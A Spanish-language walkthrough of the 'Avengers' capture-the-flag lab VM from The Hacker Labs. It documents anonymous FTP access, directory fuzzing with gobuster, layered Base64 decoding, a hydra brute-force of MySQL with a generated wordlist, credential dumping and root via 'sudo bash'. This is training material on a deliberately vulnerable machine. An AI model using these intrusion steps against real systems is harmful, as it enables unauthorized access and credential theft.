Post

CTF-Avengers

Guía en Texto del CTF Avengers de The Hacker Labs

Esta guía incluye la enumeración de puertos, técnicas de recopilación de información, acceso, y escalamiento de privilegios.

Índice

1.Avengers

1.1Detalles de la máquina virtual

2.Reconocimiento

2.1Conectividad

2.2Escaneo y Enumeración

3.Obtener Acceso - Exploración y Explotación de Vulnerabilidades

3.1Pruebas al servicio FTP

3.2Pruebas al sitio web

3.3Fuzzing con GoBuster

3.4Revisión de directorios

3.5Conexión por SSH

3.6Conexión a la base de datos MySQL

4.Somos Root

5.Observaciones y Recomendaciones

1. Avengers

1.1 Detalles de la máquina virtual

Avenger es una máquina virtual proporcionada por la plataforma web de CTFs The Hacker Labs. Agradecemos su contribución y apoyo a la comunidad, lo cual nos permite seguir creciendo y aprendiendo sobre este apasionante mundo de la ciberseguridad Ofensiva. Visitalos: The Hacker Labs

imagen.

Después de descargar la máquina virtual, obtendrás un archivo .ova. Al ejecutarlo, este archivo desplegará la máquina virtual en VMware o VirtualBox, y se le asignará automáticamente una dirección IP de la red en la que estás trabajando.

Vm nameIp AdressCreatorsLevel
Avengers192.168.1.25The Hacker LabsPrincipiante

2. Reconocimiento

2.1 Conectividad

Lo primero que debemos hacer es verificar si tenemos acceso al escenario. Para ello, validamos la conectividad hacia el objetivo desde nuestra máquina virtual. Una vez confirmado el acceso, podemos iniciar las pruebas de ethical hacking.

1
2
3
4
5
6
7
8
┌──(root㉿V4lcyfer)-[/home/kali]
└─# ping 192.168.1.25 -c 1
PING 192.168.1.25 (192.168.1.25) 56(84) bytes of data.
64 bytes from 192.168.1.25: icmp_seq=1 ttl=64 time=6.59 ms

--- 192.168.1.25 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 6.592/6.592/6.592/0.000 ms

2.2 Escaneo y Enumeración

Se utiliza Nmap para recopilar información que pueda ser usada posteriormente en un ataque. En nuestra búsqueda, tratamos de identificar las versiones de servicio y el sistema operativo. El comando utilizado fue nmap -sVC 192.168.1.25. Como resultado, observamos que el objetivo tiene los siguientes puertos abiertos: 22,22, 80 y 3306.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
┌──(root㉿V4lcyfer)-[/home/kali]
└─# nmap -sVC 192.168.1.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-07 16:14 EDT
Nmap scan report for 192.168.1.25
Host is up (0.0015s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.1.11
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 6f:85:17:02:1a:9d:94:c3:b3:4e:92:4b:05:3a:96:a2 (ECDSA)
|_  256 57:6b:d4:59:bd:3b:b5:c0:3f:1b:7e:c0:b9:9a:69:6d (ED25519)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Avengers Hacking \xC3\x89tico
| http-robots.txt: 2 disallowed entries 
|_/webs/ /mysql/
3306/tcp open  mysql   MySQL 8.0.36-0ubuntu0.22.04.1
| ssl-cert: Subject: commonName=MySQL_Server_8.0.36_Auto_Generated_Server_Certificate
| Not valid before: 2024-03-21T19:56:11
|_Not valid after:  2034-03-19T19:56:11
|_ssl-date: TLS randomness does not represent time
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.36-0ubuntu0.22.04.1
|   Thread ID: 4089
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, InteractiveClient, SupportsLoadDataLocal, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, LongColumnFlag, Speaks41ProtocolNew, SupportsCompression, LongPassword, FoundRows, ODBCClient, SwitchToSSLAfterHandshake, ConnectWithDatabase, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \x0Ep\x0E\x1E\x15\x7FnCy/(0Y\x05@yQ\x1Egp
|_  Auth Plugin Name: caching_sha2_password
MAC Address: 00:0C:29:B7:2A:0E (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.41 seconds

3. Obtener Acceso - Exploración y Explotación de Vulnerabilidades

3.1 Pruebas al servicio FTP

Lo primero que observamos al revisar rápidamente el resultado de Nmap es la posibilidad de conectarse por FTP con el usuario Anonymous. Esto es una mala práctica, algo común en entornos corporativos. Vamos a ver qué encontramos

1
2
3
4
5
ORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.

|_Can't get directory listing: PASV failed: 550 Permission denied.

Por lo general, este usuario está configurado por defecto y no tiene contraseña. Probemos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿V4lcyfer)-[/home/kali]
└─# ftp 192.168.1.25
Connected to 192.168.1.25.
220 Welcome to blah FTP service.
Name (192.168.1.25:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             459 Mar 24 13:55 FLAG.txt
-rw-r--r--    1 0        0             417 Mar 24 20:32 credential_mysql.txt.zip
226 Directory send OK.
ftp> 

Observamos dos archivos FLAG.TXT y credential_mysql.txt.zip. Vamos a traerlos para poder revisarlos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ftp> get FLAG.txt
local: FLAG.txt remote: FLAG.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for FLAG.txt (459 bytes).
100% |***************************************************************************************|   459       39.87 KiB/s    00:00 ETA
226 Transfer complete.

459 bytes received in 00:00 (36.01 KiB/s)
ftp> get credential_mysql.txt.zip
local: credential_mysql.txt.zip remote: credential_mysql.txt.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for credential_mysql.txt.zip (417 bytes).
100% |***************************************************************************************|   417       37.39 KiB/s    00:00 ETA
226 Transfer complete.

observemos que contiene el archito FLAG.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿V4lcyfer)-[/home/kali]
└─# cat FLAG.txt        

   ###     ###                         ##
  ## ##     ##                        ####
   #        ##      ####     ### ##   ####
 ####       ##         ##   ##  ##     ##
  ##        ##      #####   ##  ##     ##
  ##        ##     ##  ##    #####
 ####      ####     #####       ##     ##
                            #####

Alright, you have flag 3/9.

This flag is worth 10 points.

Wow, you found this flag very quickly, we should secure this FTP more...

Nos muestra una Flag la 3/9 , y el mensaje: Encontraste muy rápido este flag, deberiamos proteger este FTP más

Ahora vamos por el archivo .Zip

1
2
3
4
5
6
(root㉿V4lcyfer)-[/home/kali]
└─# unzip credential_mysql.txt.zip 
Archive:  credential_mysql.txt.zip
[credential_mysql.txt.zip] credential_mysql.txt password: 
password incorrect--reenter: 

Vaya, nos pide una contraseña para descomprimir. No podemos avanzar más por este lado, así que sigamos indagando.

3.2 Prueba al sitio web

La página web nos muestra el sitio de Bienvenido al mundo de los Avengers - Avengers Hacking Ético. A simple vista, no se observan detalles significativos.

imagen.

Si le damos click en Hackear, solo nos muestra el siguiente mensaje.

imagen.

y como buena práctica, siempre se revisa el código HTML del sitio web.

imagen.

No observamos nada más. Vamos a validar qué directorios están disponibles para explorar.

3.3 Fuzzing con GoBuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root㉿V4lcyfer)-[/home/kali]
└─# gobuster dir -u http://192.168.1.25 -t 20 -w /usr/share/dirbuster/wordlists/directory-list-1.0.txt -x 'txt,php,html'
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.25
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 1105]
/robots.txt           (Status: 200) [Size: 49]
/php                  (Status: 301) [Size: 310] [--> http://192.168.1.25/php/]
/mysql                (Status: 301) [Size: 312] [--> http://192.168.1.25/mysql/]
/code                 (Status: 301) [Size: 311] [--> http://192.168.1.25/code/]
/flags                (Status: 301) [Size: 312] [--> http://192.168.1.25/flags/]
/css                  (Status: 301) [Size: 310] [--> http://192.168.1.25/css/]
/webs                 (Status: 301) [Size: 311] [--> http://192.168.1.25/webs/]
Progress: 566832 / 566836 (100.00%)
===============================================================
Finished
===============================================================
                                                                   

¡Uy! Hemos encontrado varios directorios que parecen interesantes para revisar.

3.4 Revisión de directorios

El primero que me llama la atención es /flags. Ya encontramos uno en pasos anteriores, y me intriga saber si encontraremos un mensaje similar o algo diferente.

imagen.

Observamos un archivo llamado FLAG.TXT. Vamos a revisar su contenido.

imagen.

Bueno, no encontramos nada interesante, excepto la primera flag (1/9). Vamos al siempre confiable robots.txt.

imagen.

Nos muestra dos directorios que tambien aparecieron en el escaneo de directorios don GoBuster, vamos a revisarlos ahora mismo.

imagen.

Observamos otra Flag xD y una página html llamada database.

veamos la flag. imagen.

Creo que las flags nos van guiando por dónde debemos seguir en el reto, como si fueran nuestro guía. Si esta es la segunda, la tercera la obtuvimos cuando nos conectamos por FTP. Tal vez aquí encontremos la clave para descomprimir el archivo zip.

imagen.

Interesante mensaje: Descubre los secretos ocultos en nuestra base de datos, Mmm… ocultos. Vamos a ver el código html.

imagen.

Obtenemos una contraseña: V201V2JHTnVjR2haYmtveFpFZEZQUT09. Esta contraseña esta en Base64 tenemos que decodificarla para obtener la clave. Pero como lo sabemos…

okey okey tranquilo.

! Importante: Alto en Teoría

Si la dominas y sabes como identificar las cadeanas encriptadas puedes adelantarte hasta la parte de decodificación directamente

Identificar si una cadena está codificada en Base64 puede ser útil en varios contextos, especialmente en ciberseguridad y análisis de datos ya que te puede ayudar a ahorrar tiempo en escenarios donde juegues contra el reloj. A continuación, te doy algunas pautas para reconocer una cadena Base64.

  1. Formato y Longitud:
    • Caracteres válidos: Las cadenas codificadas en Base64 suelen estar compuestas por los caracteres alfanuméricos (A-Z, a-z, 0-9) y pueden incluir los caracteres especiales +, /, y = (usado como relleno al final).
  • Múltiplo de 4: La longitud de una cadena Base64 es siempre un múltiplo de 4. Si no lo es, puede que la cadena esté malformada o que no sea Base64.

  • Relleno con =: Las cadenas Base64 a menudo terminan con uno o dos caracteres de relleno = para ajustar la longitud al múltiplo de 4. Si ves uno o dos signos = al final de la cadena, es un buen indicio de que podría estar en Base64.

  1. Sin caracteres especiales especiales:
  • Las cadenas Base64 no contienen espacios, saltos de línea, o caracteres como @, #, $, etc. Si ves alguno de estos caracteres, es probable que la cadena no esté en Base64.

Con esto claro, vamos a decodificar la contraseña obtenida Vamos a hacerlo!!!

! Decodificación

Para decodificar la contraseña y ver que clave tiene oculta vamos a usar el sitio web base64decode

imagen.

Observamos que nos arroja otra cadena en base64 incluso como dice la teoria tiene = al final, asi que vamos a decodificarla nuevamente.

imagen.

Otra vez nos muestra una cadena en Base64, así que vamos a demostrarles que somos perseverantes.

imagen.

¡Ajá! Quien busca, encuentra, así que la contraseña es fuerzabruta

¿Ahora que hacemos? xD bueno sigamos explorando el directorio que faltaba /webs

imagen.

Nos muestra los sitios developers.html y secret.html

Veamos developers.html:

imagen.

un login dentro de la pagina, nos puede servir luego.

ahora revisemos secret.html

imagen.

ahora observamos que nos da un buscador con el texto Solo para los mas valientes hackers , que pasara si colocamos la contraseña que decodificamos.

imagen.

¡Bingo!, tenemos un usuario, el poderoso hulk.

ahora tenemos un usuario y contraseña:

usuario: hulk contraseña: fuerzabruta

3.5 Conexión por SSH

Probaremos los usuarios obtenidos para validar si podemos conectarnos al servidor objetivo mediante SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(root㉿V4lcyfer)-[/home/kali]
└─# ssh hulk@192.168.1.25 
hulk@192.168.1.25's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of dom 08 sep 2024 06:01:48 UTC

  System load:  0.39404296875     Processes:              205
  Usage of /:   61.4% of 9.75GB   Users logged in:        0
  Memory usage: 40%               IPv4 address for ens32: 192.168.1.25
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

El mantenimiento de seguridad expandido para Applications está desactivado

Se pueden aplicar 127 actualizaciones de forma inmediata.
92 de estas son actualizaciones de seguridad estándares.
Para ver estas actualizaciones adicionales, ejecute: apt list --upgradable

Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales.
Vea https://ubuntu.com/esm o ejecute «sudo pro status»


Last login: Sat Sep  7 12:42:06 2024 from 192.168.1.11
hulk@TheHackersLabs-Avengers:~$ 

Excelente, lo mas logico seria validar si podemos escalar privilegios y volvernos root.

1
2
3
4
5
hulk@TheHackersLabs-Avengers:~$ sudo -l
[sudo] password for hulk: 
Sorry, user hulk may not run sudo on TheHackersLabs-Avengers.
hulk@TheHackersLabs-Avengers:~$ 

Nos indica que sudo no puede ser ejecutado por el usuario hulk, bueno veamos si esconde algo interesante este usuario.

1
2
3
4
hulk@TheHackersLabs-Avengers:~$ ls
db  mysql  user.txt  wait
hulk@TheHackersLabs-Avengers:~$ 

observamos unos directorios interesantes donde podemos navegar.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
hulk@TheHackersLabs-Avengers:~$ cd db
hulk@TheHackersLabs-Avengers:~/db$ ls
f  flag  g  no  no_flag
hulk@TheHackersLabs-Avengers:~/db$ cd no_flag/
hulk@TheHackersLabs-Avengers:~/db/no_flag$ ls
flag  no
hulk@TheHackersLabs-Avengers:~/db/no_flag$ cd flag
hulk@TheHackersLabs-Avengers:~/db/no_flag/flag$ ls
FLAG.txt
hulk@TheHackersLabs-Avengers:~/db/no_flag/flag$ cat FLAG.txt 

   ###     ###                         ##
  ## ##     ##                        ####
   #        ##      ####     ### ##   ####
 ####       ##         ##   ##  ##     ##
  ##        ##      #####   ##  ##     ##
  ##        ##     ##  ##    #####
 ####      ####     #####       ##     ##
                            #####


Alright, you have the 5/9 flag.

This flag is worth 10 points.

You found the flag hidden among many directories, how clever...

hulk@TheHackersLabs-Avengers:~/db/no_flag/flag$ 

vamos sumando flag y puntos xD.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
hulk@TheHackersLabs-Avengers:~$ cd mysql/
hulk@TheHackersLabs-Avengers:~/mysql$ ls
hint
hulk@TheHackersLabs-Avengers:~/mysql$ cd hint/
hulk@TheHackersLabs-Avengers:~/mysql/hint$ ls
avengers  QUEEE  wo  zip
hulk@TheHackersLabs-Avengers:~/mysql/hint$ cd zip/
hulk@TheHackersLabs-Avengers:~/mysql/hint/zip$ ls
shit_how_they_did_know_this_password.txt
hulk@TheHackersLabs-Avengers:~/mysql/hint/zip$ cat shit_how_they_did_know_this_password.txt 
                                      ###
                                       ##
 ##  ##   ##  ##    #####    ######    ##
 #######  ##  ##   ##       ##  ##     ##
 ## # ##  ##  ##    #####   ##  ##     ##
 ##   ##   #####        ##   #####     ##
 ##   ##      ##   ######       ##    ####
          #####                ####


Congratulations, you found the password to decrypt the compressed FTP .zip file

Now you know what to do with this... I guess

password: (You thought I would give you the password so quickly, because if you look closely at the file you would see the password more clearly...)
hulk@TheHackersLabs-Avengers:~/mysql/hint/zip$ 

Cuando leí zip dije acá esta la contraseña del comprimido que encontramos al inicio y estaba en lo correcto, el archivo me muestra un mensaje Pensaste que te daría la contraseña tan fácilmente. Si miras más de cerca el archivo, verás la contraseña con más claridad... entonces mas de cerca …. el nombre del archivo es algo peculiar shit_how_they_did_know_this_password, probemos.

1
2
3
4
5
┌──(root㉿V4lcyfer)-[/home/kali]
└─# unzip credential_mysql.txt.zip
Archive:  credential_mysql.txt.zip
[credential_mysql.txt.zip] credential_mysql.txt password: 
  inflating: credential_mysql.txt 

¡Bingo! tenemos el archivo.

1
2
3
4
5
6
7
8
9
10
11
12
                                                                                                                         
┌──(root㉿V4lcyfer)-[/home/kali]
└─# cat credential_mysql.txt 
Listen, stif, I sent you the password of my MySQL user by email, but I think you didn't get it, I'll send it to you here:

User: hulk
Password: fuerzabrutaXXXX

Remember to change the "XXXX" to a secure number combination before sending.

HINT: it is in a range of 0-3000

Tiene la estructura de un correo algo informal, pero claramente es un correo. Inicia diciendo “Escucha”, seguido de “stif”. Podría ser que “stif” sea otro usuario. Además, el mensaje menciona que se envían las credenciales para una base de datos MySQL y que el usuario “hulk” puede acceder, pero con una contraseña que debe ser descifrada mediante un ataque de fuerza bruta. La contraseña tiene el formato fuerzabrutaXXXX, donde XXXX es un número aleatorio entre 0 y 3000.

Para resolver esto, debemos crear un diccionario que contenga todas las posibles contraseñas, es decir, todas las combinaciones de fuerzabruta seguido de números del 0 al 3000. Luego, aplicaremos un ataque de fuerza bruta para determinar cuál es la contraseña correcta y conectarnos a la base de datos.

Para crear un diccionario con estas características, hay varias maneras de hacerlo. Aunque herramientas como Excel podrían servir, intentaremos una solución más automatizada.

1
seq -w 0 3000 | awk '{print "fuerzabruta"$0}' > diccionario_fuerza.txt

utilzamos seq para generar una lista de numeros del 0 al 3000 y con awk nos aseguramos que se agregue fuerzabruta al inicio de cada parametro y que al final se guarde en un archivo llamado diccionario_fuerza.txt.

validamos:

imagen.

Una vez con el archivo generado procedemos a hacer la fuerza bruta con hydra.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿V4lcyfer)-[/home/kali/Music]
└─# hydra -l hulk -P diccionario_fuerza.txt mysql://192.168.1.25
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-07 08:25:41
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 3001 login tries (l:1/p:3001), ~751 tries per task
[DATA] attacking mysql://192.168.1.25:3306/
[3306][mysql] host: 192.168.1.25   login: hulk   password: fuerzabruta2024
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-07 08:26:04

Éxito, tenemos la contrasela para la base de datos fuerzabruta2024

3.6 Conexión a la base de datos MySQL

Probemos conectarnos a la base de datos.

1
2
3
4
5
┌──(root㉿V4lcyfer)-[/home/kali/Music]
└─# mysql -h 192.168.1.25 -u hulk -p
Enter password: 
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain

Bueno, me apareció este error. Lo pude obviar, pero prefiero que, si a alguien le sucede algo similar, sepa cómo superar este inconveniente. Para los curiosos, aquí está la solución: El error “ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain” indica que la conexión TLS/SSL que estás intentando establecer utiliza un certificado que no es confiable, ya que es un certificado autofirmado (self-signed). Esto significa que el certificado no está firmado por una autoridad de certificación (CA) reconocida, lo que genera un problema de confianza en la conexión.

para saltar este error utilizaremos --skip-ssl

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿V4lcyfer)-[/home/kali/Music]
└─# mysql -h 192.168.1.25 -u hulk -p --skip-ssl
Enter password: 
3Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 4086
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

ahora buscaremos algunas bases de datos y tablas interesantes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
MySQL [db_flag]> show databases;
+--------------------+
| Database           |
+--------------------+
| db_flag            |
| db_true            |
| information_schema |
| mysql              |
| no_db              |
| performance_schema |
| sys                |
+--------------------+
7 rows in set (0.004 sec)

MySQL [db_flag]> show tables;
+-------------------+
| Tables_in_db_flag |
+-------------------+
| flag              |
+-------------------+
1 row in set (0.002 sec)

MySQL [db_flag]> select * from flag;
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | flag     | content                                                                                                                                                                          |
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|  1 | FLAG.txt | Alright, you have the 4/9 flag. This flag is worth 10 points. Now that you have this flag, keep looking, you are getting closer to the end, but there is still a long way to go. |
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

Tenemos por acá otra flag, veamos si encontramso algo mas interesante.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
MySQL [db_true]> use no_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [no_db]> show tables;
+-----------------+
| Tables_in_no_db |
+-----------------+
| passwords       |
| users           |
+-----------------+
2 rows in set (0.003 sec)
MySQL [no_db]> select * from users;
+----+--------+---------------+
| id | user   | password      |
+----+--------+---------------+
|  1 | stif   | escudoamerica |
|  2 | hulk   | fuerza*****   |
|  3 | antman | ******        |
|  4 | thanos | NOPASSWD      |
+----+--------+---------------+
4 rows in set (0.013 sec)

MySQL [no_db]> select * from passwords;
+----+--------------------------------------------------------------+----------------------------------------------------+
| id | password                                                     | description                                        |
+----+--------------------------------------------------------------+----------------------------------------------------+
|  1 | wr9UZSBjcmVlcyBxdWUgc2VyaWEgdGFuIGZhY2lsPyBKQUpBSkFKQUpKQUpB | Desencripta esa contraseña para poder ser root ;)  |
+----+--------------------------------------------------------------+----------------------------------------------------+
1 row in set (0.012 sec)

MySQL [no_db]> 

Parece que nos acercamos al final del reto, tenemos una cadena en base64 que desencriptar para ser root y las claves de acceso de stif, escudoamerica.

vamos a desencriptar la clave que nos brinda.

imagen.

bueno equisde.

4. Somos Root

Vamos con el usuario stif

1
2
3
4
5
6
7
8
9
10
11
12
13
hulk@TheHackersLabs-Avengers:~$ su stif
Password: 
stif@TheHackersLabs-Avengers:/home/hulk$ whoami
stif
stif@TheHackersLabs-Avengers:/home/hulk$ sudo -l
Matching Defaults entries for stif on TheHackersLabs-Avengers:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User stif may run the following commands on TheHackersLabs-Avengers:
    (ALL : ALL) NOPASSWD: /usr/bin/bash
    (ALL : ALL) NOPASSWD: /usr/bin/unzip

Observamos que se puede ejecutar bash como root, asi que..

1
2
3
4
tif@TheHackersLabs-Avengers:/home/hulk$ sudo bash
root@TheHackersLabs-Avengers:/home/hulk# whoami
root
root@TheHackersLabs-Avengers:/home/hulk# 

Listo, somos root

Bueno para finalizar bien este reto solo nos queda buscar las flag dentro de los directorios correspondientes.

5. Observaciones y Recomendaciones

  • No pases por alto la importancia de inspeccionar minuciosamente cada directorio, rastrear cada pista y asegurarte de comprender el funcionamiento de tus herramientas, que son fundamentales para enfrentar cada desafío.

  • Nunca olvidar el secreto esta en los detalles, siempre observadores, siempre atentos.

  • Como administrador de servicios o servidores, ya sabes que nunca es buena idea simplemente hacer clic en “Siguiente, siguiente” o “Yes, yes”. Es crucial leer y entender lo que estás aceptando. Muchos de los vectores de ataque más comunes provienen de configuraciones por defecto.

  • Siempre el agradecimiento a The Hacker Labs por el esfuerzo que hacen en la plataforma para que la comunidad pueda seguir aprendiendo en escenarios seguros.

Saludos!

!Hack the life!

This post is licensed under CC BY 4.0 by the author.